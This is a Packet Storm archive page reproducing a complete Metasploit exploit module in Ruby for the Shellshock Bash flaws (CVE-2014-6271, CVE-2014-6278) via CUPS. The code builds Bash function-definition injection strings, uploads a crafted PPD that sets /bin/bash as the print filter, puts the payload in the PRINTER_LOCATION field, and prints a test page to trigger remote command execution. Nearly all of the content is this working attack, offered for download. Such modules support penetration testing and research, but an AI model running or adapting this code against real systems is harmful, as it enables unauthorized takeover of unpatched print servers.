what you don't know can hurt you

CUPS Filter Bash Environment Variable Code Injection

CUPS Filter Bash Environment Variable Code Injection
Posted Oct 28, 2014
Authored by Michal Zalewski, Stephane Chazelas | Site metasploit.com

This Metasploit module exploits a post-auth code injection in specially crafted environment variables in Bash, specifically targeting CUPS filters through the PRINTER_INFO and PRINTER_LOCATION variables by default.

tags | exploit, bash
advisories | CVE-2014-6271, CVE-2014-6278
MD5 | 29f7d463eabc5a2bc1364b1db48a8215

CUPS Filter Bash Environment Variable Code Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'CUPS Filter Bash Environment Variable Code Injection',
'Description' => %q{
This module exploits a post-auth code injection in specially crafted
environment variables in Bash, specifically targeting CUPS filters
through the PRINTER_INFO and PRINTER_LOCATION variables by default.
},
'Author' => [
'Stephane Chazelas', # Vulnerability discovery
'lcamtuf', # CVE-2014-6278
'Brendan Coles <bcoles[at]gmail.com>' # msf
],
'References' => [
['CVE', '2014-6271'],
['CVE', '2014-6278'],
['EDB', '34765'],
['URL', 'https://access.redhat.com/articles/1200223'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0A\x0D",
'DisableNops' => true
},
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash awk ruby'
},
# Tested:
# - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
# - CUPS version 1.5.3 on Debian 7 (x64)
# - CUPS version 1.6.2 on Fedora 19 (x64)
# - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014',
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(631),
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
], self.class)
end

#
# CVE-2014-6271
#
def cve_2014_6271(cmd)
%{() { :;}; $(#{cmd}) & }
end

#
# CVE-2014-6278
#
def cve_2014_6278(cmd)
%{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }}
end

#
# Check credentials
#
def check
@cookie = rand_text_alphanumeric(16)
printer_name = rand_text_alphanumeric(10 + rand(5))
res = add_printer(printer_name, '')
if !res
vprint_error("#{peer} - No response from host")
return Exploit::CheckCode::Unknown
elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/
vprint_status("#{peer} - Found CUPS version #{$1}")
else
print_status("#{peer} - Target is not a CUPS web server")
return Exploit::CheckCode::Safe
end
if res.body =~ /Set Default Options for #{printer_name}/
vprint_good("#{peer} - Added printer successfully")
delete_printer(printer_name)
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
vprint_error("#{peer} - Authentication failed")
elsif res.code == 426
vprint_error("#{peer} - SSL required - set SSL true")
end
Exploit::CheckCode::Detected
end

#
# Exploit
#
def exploit
@cookie = rand_text_alphanumeric(16)
printer_name = rand_text_alphanumeric(10 + rand(5))

# Select target CVE
case datastore['CVE']
when 'CVE-2014-6278'
cmd = cve_2014_6278(payload.raw)
else
cmd = cve_2014_6271(payload.raw)
end

# Add a printer containing the payload
# with a CUPS filter pointing to /bin/bash
res = add_printer(printer_name, cmd)
if !res
fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
elsif res.body =~ /Set Default Options for #{printer_name}/
print_good("#{peer} - Added printer successfully")
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
elsif res.code == 426
fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
else
fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
end

# Add a test page to the print queue.
# The print job triggers execution of the bash filter
# which executes the payload in the environment variables.
res = print_test_page(printer_name)
if !res
fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
elsif res.body =~ /Test page sent; job ID is/
vprint_good("#{peer} - Added test page to printer queue")
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
elsif res.code == 426
fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
else
fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
end

# Delete the printer
res = delete_printer(printer_name)
if !res
fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
elsif res.body =~ /has been deleted successfully/
print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
elsif res.code == 426
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
else
vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
end
end

#
# Add a printer to CUPS
#
def add_printer(printer_name, cmd)
vprint_status("#{peer} - Adding new printer '#{printer_name}'")

ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
ppd_file = <<-EOF
*PPD-Adobe: "4.3"
*%==== General Information Keywords ========================
*FormatVersion: "4.3"
*FileVersion: "1.00"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PCFileName: "#{ppd_name}"
*Manufacturer: "Brother"
*Product: "(Brother MFC-3820CN)"
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
*cupsVersion: 1.1
*cupsManualCopies: False
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
*cupsModelNumber: #{rand(10) + 1}
*ModelName: "Brother MFC-3820CN"
*ShortNickName: "Brother MFC-3820CN"
*NickName: "Brother MFC-3820CN CUPS v1.1"
*%
*%==== Basic Device Capabilities =============
*LanguageLevel: "3"
*ColorDevice: True
*DefaultColorSpace: RGB
*FileSystem: False
*Throughput: "12"
*LandscapeOrientation: Plus90
*VariablePaperSize: False
*TTRasterizer: Type42
*FreeVM: "1700000"

*DefaultOutputOrder: Reverse
*%==== Media Selection ======================

*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 18 AnySetup *PageSize
*DefaultPageSize: BrLetter
*PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
*PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
EOF

pd = Rex::MIME::Message.new
pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))

data = pd.to_s
data.strip!

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin'),
'ctype' => "multipart/form-data; boundary=#{pd.bound}",
'data' => data,
'cookie' => "org.cups.sid=#{@cookie};",
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
)
end

#
# Queue a printer test page
#
def print_test_page(printer_name)
vprint_status("#{peer} - Adding test page to printer queue")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'cookie' => "org.cups.sid=#{@cookie}",
'vars_post' => {
'org.cups.sid' => @cookie,
'OP' => 'print-test-page'
}
)
end

#
# Delete a printer
#
def delete_printer(printer_name)
vprint_status("#{peer} - Deleting printer '#{printer_name}'")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'cookie' => "org.cups.sid=#{@cookie}",
'vars_post' => {
'org.cups.sid' => @cookie,
'OP' => 'delete-printer',
'printer_name' => printer_name,
'confirm' => 'Delete Printer'
}
)
end

end
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    1 Files
  • 26
    Oct 26th
    17 Files
  • 27
    Oct 27th
    19 Files
  • 28
    Oct 28th
    29 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close